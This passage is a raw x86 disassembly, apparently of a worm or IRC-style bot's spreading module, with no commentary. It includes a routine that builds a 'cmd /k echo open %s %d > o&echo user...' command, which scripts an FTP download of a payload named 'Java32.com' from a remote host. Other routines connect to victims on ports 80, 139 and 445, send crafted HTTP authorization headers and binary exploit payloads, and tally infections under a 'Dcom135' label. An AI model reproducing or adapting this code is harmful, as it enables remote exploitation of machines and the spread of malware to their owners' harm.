		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40409D
		lea	ecx, [ebp+var_28]
		call	sub_4040AD
		lea	ecx, [ebp+var_38]
		call	sub_403F2D
		lea	ecx, [ebp+var_10]
		call	sub_403E94
		lea	ecx, [ebp+var_8]
		call	sub_403E94
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_28]
		call	sub_403F2D
		push	offset dword_4263F4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263F0
		lea	ecx, [ebp+var_10]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		push	offset dword_4263E4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263E0
		lea	ecx, [ebp+var_48]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40446A
; ---------------------------------------------------------------------------


loc_40445C:				; CODE XREF: sub_404108+1Bj
					; sub_404108+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40446A:				; CODE XREF: sub_404108+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_404108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_404532+A1p
					; sub_404532+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_4211D0
		cmp	eax, edi
		jnz	short loc_4044D5
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4200E6
		test	eax, eax
		jnz	short loc_4044D9


loc_4044D5:				; CODE XREF: sub_40446E+54j
		xor	eax, eax
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044D9:				; CODE XREF: sub_40446E+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_43A380


loc_4044E9:				; CODE XREF: sub_40446E+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044ED	proc near		; CODE XREF: sub_404532+81p
					; sub_404532+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_43A364
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3B8
		cmp	eax, 4
		jz	short loc_404517
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_404517:				; CODE XREF: sub_4044ED+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_43A3B8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4044ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404532	proc near		; CODE XREF: sub_40460C+48p
					; seg000:00404A88p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40455B
		xor	al, al
		jmp	loc_404607
; ---------------------------------------------------------------------------


loc_40455B:				; CODE XREF: sub_404532+20j
		push	ebx
		push	0
		push	esi
		call	sub_415550
		push	2Fh
		push	offset dword_426118
		push	esi
		call	sub_4155B0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_426148
		push	eax
		mov	[esi+2Fh], di
		call	sub_4155B0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4155B0
		push	6
		add	ebx, edi
		push	offset dword_438F9C
		push	ebx
		call	sub_4155B0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_426090
		push	ebx
		call	sub_4044ED
		add	esp, 48h
		test	al, al
		jnz	short loc_4045C3


loc_4045BF:				; CODE XREF: sub_404532+B5j
		xor	bl, bl
		jmp	short loc_4045FE
; ---------------------------------------------------------------------------


loc_4045C3:				; CODE XREF: sub_404532+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_4044ED
		add	esp, 1Ch
		test	al, al
		jz	short loc_4045BF
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		add	esp, 10h
		mov	bl, 1


loc_4045FE:				; CODE XREF: sub_404532+8Fj
		push	esi
		call	sub_415E1D
		pop	ecx
		mov	al, bl


loc_404607:				; CODE XREF: sub_404532+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404532	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40460C	proc near		; CODE XREF: seg000:00404A6Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_426154
		push	[ebp+arg_0]
		call	ds:dword_4211EC
		cmp	eax, 48h
		jnz	short loc_404647
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40446E
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404647
		cmp	[ebp+var_20], 82h
		jz	short loc_40464B


loc_404647:				; CODE XREF: sub_40460C+1Bj
					; sub_40460C+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40464B:				; CODE XREF: sub_40460C+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404532
		add	esp, 0Ch
		leave
		retn
sub_40460C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40465E	proc near		; CODE XREF: sub_4046AA+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_421240
		call	sub_415F6C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_421238
		fstp	[esp+10h+var_10]
		call	sub_415E4C
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415F6C
		inc	eax
		leave
		retn
sub_40465E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046AA	proc near		; CODE XREF: sub_40484C+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_420243
		call	sub_416438
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404D21
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40465E
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4046EC
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_404C9C


loc_4046EC:				; CODE XREF: sub_4046AA+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404809
		mov	ebx, [ebp+10h]


loc_4046FB:				; CODE XREF: sub_4046AA+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_404705
		push	3
		jmp	short loc_404717
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_4046AA+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40470F
		push	2
		jmp	short loc_404717
; ---------------------------------------------------------------------------


loc_40470F:				; CODE XREF: sub_4046AA+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_404718
		push	1


loc_404717:				; CODE XREF: sub_4046AA+59j
					; sub_4046AA+63j
		pop	ebx


loc_404718:				; CODE XREF: sub_4046AA+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_421250
		fstp	[esp+40h+var_40]
		call	sub_415F93
		pop	ecx
		pop	ecx
		call	sub_415F6C
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_404757
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_404757:				; CODE XREF: sub_4046AA+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_4047C5
		add	[ebp-18h], eax


loc_4047A9:				; CODE XREF: sub_4046AA+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_4261A0[eax]
		push	eax
		push	1
		call	sub_404B1E
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4047A9


loc_4047C5:				; CODE XREF: sub_4046AA+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4047E3
		push	dword ptr [ebp+14h]
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404B77
		mov	[ebp-18h], edi


loc_4047E3:				; CODE XREF: sub_4046AA+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4047FD
		sub	esi, [ebp-1Ch]


loc_4047EE:				; CODE XREF: sub_4046AA+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404B1E
		dec	esi
		jnz	short loc_4047EE


loc_4047FD:				; CODE XREF: sub_4046AA+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4046FB
		push	1
		pop	ebx


loc_404809:				; CODE XREF: sub_4046AA+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		push	ds:dword_421248
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404BCE
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4046AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40484C	proc near		; CODE XREF: seg000:00404A51p
		mov	eax, offset loc_420260
		call	sub_416438
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_438F8C
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4046AA
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415DA9
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404896
		xor	bl, bl
		jmp	short loc_4048DA
; ---------------------------------------------------------------------------


loc_404896:				; CODE XREF: sub_40484C+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_421258
		cmp	ecx, ebx
		jnz	short loc_4048A4
		mov	ecx, eax


loc_4048A4:				; CODE XREF: sub_40484C+54j
		cmp	[ebp+18h], ebx
		jz	short loc_4048AC
		mov	eax, [ebp+18h]


loc_4048AC:				; CODE XREF: sub_40484C+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_415A4A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_43A3B8
		cmp	eax, esi
		jz	short loc_4048D1
		xor	bl, bl
		jmp	short loc_4048D3
; ---------------------------------------------------------------------------


loc_4048D1:				; CODE XREF: sub_40484C+7Fj
		mov	bl, 1


loc_4048D3:				; CODE XREF: sub_40484C+83j
		push	edi
		call	sub_415E1D
		pop	ecx


loc_4048DA:				; CODE XREF: sub_40484C+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40484C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_42634C
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		mov	eax, offset aJava32_com	; "Java32.com"
		push	eax
		push	eax
		push	ds:dword_438FAC
		push	dword ptr [ebp+8]
		call	sub_40A155
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_415A4A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4261E4
		push	eax
		call	sub_404108
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_4049AD
		xor	eax, eax
		jmp	loc_404B11
; ---------------------------------------------------------------------------


loc_4049AD:				; CODE XREF: seg000:004049A4j
		mov	[ebp-0Ch], esi


loc_4049B0:				; CODE XREF: seg000:00404AB0j
		test	esi, esi
		jnz	loc_404AB6
		push	6
		push	1
		push	2
		call	ds:dword_4211E0
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404A9E
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_43A368
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_43A3A8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A310
		cmp	eax, 0FFFFFFFFh
		jz	loc_404A93
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404A5B
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404D5D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40484C
		add	esp, 1Ch
		jmp	short loc_404A90
; ---------------------------------------------------------------------------


loc_404A5B:				; CODE XREF: seg000:00404A19j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_404A75
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40460C
		jmp	short loc_404A8D
; ---------------------------------------------------------------------------


loc_404A75:				; CODE XREF: seg000:00404A65j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404A93
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_404532


loc_404A8D:				; CODE XREF: seg000:00404A73j
		add	esp, 0Ch


loc_404A90:				; CODE XREF: seg000:00404A59j
		movzx	esi, al


loc_404A93:				; CODE XREF: seg000:00404A0Cj
					; seg000:00404A7Fj
		push	ebx
		call	ds:dword_43A400
		test	esi, esi
		jnz	short loc_404AA9


loc_404A9E:				; CODE XREF: seg000:004049C9j
		push	3E8h
		call	ds:dword_421060


loc_404AA9:				; CODE XREF: seg000:00404A9Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4049B0


loc_404AB6:				; CODE XREF: seg000:004049B2j
		lea	ecx, [ebp-8]
		call	sub_403F2D
		test	esi, esi
		jz	short loc_404B0F
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset dword_426410
		lea	eax, [ebp-624h]
		push	200h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-624h]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_404B0F:				; CODE XREF: seg000:00404AC0j
		mov	eax, esi


loc_404B11:				; CODE XREF: seg000:004049A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420224


loc_404B16:				; CODE XREF: sub_420224+3j
					; seg000:0042023Dj ...
		push	1
		call	sub_404D21
		retn
; END OF FUNCTION CHUNK	FOR sub_420224

; =============== S U B	R O U T	I N E =======================================



sub_404B1E	proc near		; CODE XREF: sub_4046AA+110p
					; sub_4046AA+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B38
		call	sub_41FD90


loc_404B38:				; CODE XREF: sub_404B1E+13j
		test	ebx, ebx
		jbe	short loc_404B6F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404B6F
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415550
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_404B6F:				; CODE XREF: sub_404B1E+1Cj
					; sub_404B1E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B77	proc near		; CODE XREF: sub_4046AA+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B91
		call	sub_41FD90


loc_404B91:				; CODE XREF: sub_404B77+13j
		test	ebx, ebx
		jbe	short loc_404BC6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404BC6
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_4155B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404BC6:				; CODE XREF: sub_404B77+1Cj
					; sub_404B77+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BCE	proc near		; CODE XREF: sub_4046AA+17Cp
					; sub_41FDEA+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_404BE6
		call	sub_41FFBC


loc_404BE6:				; CODE XREF: sub_404BCE+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_404BF8
		mov	esi, [ebp+arg_8]


loc_404BF8:				; CODE XREF: sub_404BCE+25j
		cmp	edi, ebx
		jnz	short loc_404C1A
		push	ds:dword_421248
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_404D92
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_404D92
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C1A:				; CODE XREF: sub_404BCE+2Cj
		test	esi, esi
		jbe	short loc_404C5D
		cmp	esi, eax
		jnz	short loc_404C5D
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C2E
		mov	eax, offset dword_421258


loc_404C2E:				; CODE XREF: sub_404BCE+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404C5D
		push	1
		mov	ecx, edi
		call	sub_404D21
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C49
		mov	eax, offset dword_421258


loc_404C49:				; CODE XREF: sub_404BCE+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C5D:				; CODE XREF: sub_404BCE+4Ej
					; sub_404BCE+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404C93
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C77
		mov	eax, offset dword_421258


loc_404C77:				; CODE XREF: sub_404BCE+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4155B0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_404C93:				; CODE XREF: sub_404BCE+4Aj
					; sub_404BCE+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C9C	proc near		; CODE XREF: sub_4046AA+3Dp
					; sub_404B1E+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_404CAE
		call	sub_41FD90


loc_404CAE:				; CODE XREF: sub_404C9C+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_404CD7
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_404CD7
		cmp	al, 0FFh
		jz	short loc_404CD7
		cmp	edi, edx
		jnz	short loc_404D12
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404CCC:				; CODE XREF: sub_404C9C+47j
		mov	ecx, esi
		call	sub_404D21


loc_404CD3:				; CODE XREF: sub_404C9C+4Bj
					; sub_404C9C+52j
		xor	al, al
		jmp	short loc_404D1C
; ---------------------------------------------------------------------------


loc_404CD7:				; CODE XREF: sub_404C9C+19j
					; sub_404C9C+20j ...
		cmp	edi, edx
		jnz	short loc_404CF0
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CE5
		push	1
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CE5:				; CODE XREF: sub_404C9C+43j
		cmp	ecx, edx
		jz	short loc_404CD3
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404CD3
; ---------------------------------------------------------------------------


loc_404CF0:				; CODE XREF: sub_404C9C+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404D0D
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404D02
		cmp	eax, edi
		jnb	short loc_404D1A


loc_404D02:				; CODE XREF: sub_404C9C+60j
		push	1
		mov	ecx, esi
		call	sub_404D21
		jmp	short loc_404D12
; ---------------------------------------------------------------------------


loc_404D0D:				; CODE XREF: sub_404C9C+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404D1A


loc_404D12:				; CODE XREF: sub_404C9C+28j
					; sub_404C9C+6Fj
		push	edi
		mov	ecx, esi
		call	sub_404DF9


loc_404D1A:				; CODE XREF: sub_404C9C+64j
					; sub_404C9C+74j
		mov	al, 1


loc_404D1C:				; CODE XREF: sub_404C9C+39j
		pop	edi
		pop	esi
		retn	8
sub_404C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D21	proc near		; CODE XREF: sub_4046AA+1Fp
					; sub_4046AA+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404D4D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404D4D
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_404D46
		cmp	al, 0FFh
		jz	short loc_404D46
		dec	al
		mov	[ecx], al
		jmp	short loc_404D4D
; ---------------------------------------------------------------------------


loc_404D46:				; CODE XREF: sub_404D21+19j
					; sub_404D21+1Dj
		push	ecx
		call	sub_416457
		pop	ecx


loc_404D4D:				; CODE XREF: sub_404D21+8j
					; sub_404D21+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404D21	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D5D	proc near		; CODE XREF: seg000:00404A45p
					; sub_404EB6+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404D8B
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4155B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_404D8B:				; CODE XREF: sub_404D5D+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_404D5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D92	proc near		; CODE XREF: sub_404BCE+39p
